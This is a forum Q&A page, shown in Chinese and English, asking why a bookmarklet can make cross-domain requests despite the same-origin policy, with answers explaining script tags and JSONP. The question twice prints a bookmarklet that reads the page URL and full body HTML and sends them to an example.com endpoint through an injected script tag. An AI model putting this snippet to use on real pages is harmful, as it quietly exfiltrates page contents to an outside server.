$.post() 作为书签 XSS

发布于 2024-09-16 17:23:46 字数 552 浏览 4 评论 0 原文

只是好奇是否有人可以向我解释为什么我可以从这样的书签请求页面:

javascript:var%20s=document.createElement('script');var data=encodeURI(location.href)+encodeURI ('\n\n')+(encodeURI(document.getElementsByTagName('body')[0].innerHTML));s.setAttribute('src','http://example.com/remote.php?id =68&act=new&data='+data);document.getElementsByTagName('body')[0].appendChild(s);void(s);

它出去并请求一个页面,甚至可以提供 GET 变量输入。

但是,由于同源政策,我无法通过 jQuery 等方式使用 ajax 进行发布/获取 XHR...为什么?这是浏览器问题还是标准的一部分?

注意:我更改了书签。 注 2:我的问题是为什么这不违反政策?

Just curious if anyone can explain to me why I can request a page from a bookmarklet like this one:

javascript:var%20s=document.createElement('script');var data=encodeURI(location.href)+encodeURI('\n\n')+(encodeURI(document.getElementsByTagName('body')[0].innerHTML));s.setAttribute('src','http://example.com/remote.php?id=68&act=new&data='+data);document.getElementsByTagName('body')[0].appendChild(s);void(s);

Which goes out and request a page and can even provides GET-variable input.

However, I can't make a post/get XHR with ajax through something like jQuery due to same origin policy... Why? Is this a browser issue or part of standards?

note: I changed the bookmarklet.
Note 2: My question is why isn't this a violation of policy?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(4

断桥再见 2024-09-23 17:23:46

区别在于您无法(直接)读取成为

如果 URL 恰好返回定义了有用函数的 Javascript,您就可以使用它。
如果它包含其他任何内容(例如 JSON 或 XML 数据),您将无法读取响应。

同样,您可以创建一个指向不同域中的图像的 元素。

The difference is that you cannot (directly) read the response that becomes the <script> element.

If the URL happens to return Javascript that defines useful functions, you can use it.
If it contains anything else (such as JSON or XML data), you cannot read the response.

Similarly, you can make an <img> element that points to an image in a different domain.

筑梦 2024-09-23 17:23:46

此小书签并未违反同源政策。只有 XHTTP 请求受此策略限制,并且此小书签正在向页面添加脚本元素。

DOM 元素(例如图像和脚本)可以从互联网上的任何地方免费获取资源。

虽然任何脚本都可以通过 DOM 构造脚本或 img 请求来有效地跨域执行 GET 请求,但除非返回的响应正确形成,否则它将无法从该资源中提取任何数据。适当形成的响应实际上是跨域ajax的基础。

This bookmarklet isn't violating the same origin policy. Only XHTTP requests are limited by this policy, and this bookmarklet is adding a script element to the page.

DOM Elements (such as images and scripts) are free to fetch resources from anywhere on the internet.

While any script can effectively execute a GET request cross-domain by constructing script or img requests via the DOM, it will be unable to extract any data from that resource unless the returned response is formed appropriately. An appropriately formed response is actually the basis for cross-domain ajax.

场罚期间 2024-09-23 17:23:46

javascript 的同源策略不允许来自不同域的页面进行通信,访问彼此的对象,无论是读还是写,它也不允许 xmlhttprequests(ajax 调用)从其他服务器请求数据。

但是,它与允许在其他服务器上引用脚本无关。正如@SLaks所说,您可以从另一台服务器添加

Same Origin Policy for javascript doesn't let pages from different domains to communicate, access each other objects, whether to read or to write, it also doesn't allow xmlhttprequests (ajax calls) to request data from other servers.

But, however, it has nothing to do with allowing scripts referenced on another servers. As @SLaks said, you can add a <script> tag from another server, as you can add <img> tag from another server.

凡间太子 2024-09-23 17:23:46

该小书签不会从另一台服务器 xhr 请求某些内容,而是附加来自另一台服务器的脚本,这是可以接受的,并且不会与 同源政策

实际上,这是进行这种跨服务器通信的已知解决方法,请查看 jsonp

That bookmarklet doesn't xhr-request something from another server, but appends a script from that other server, which is acceptable and doesn't conflict with the same origin policy.

Actually this is the known workaround to do this kind of cross server communication, take a look at jsonp.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文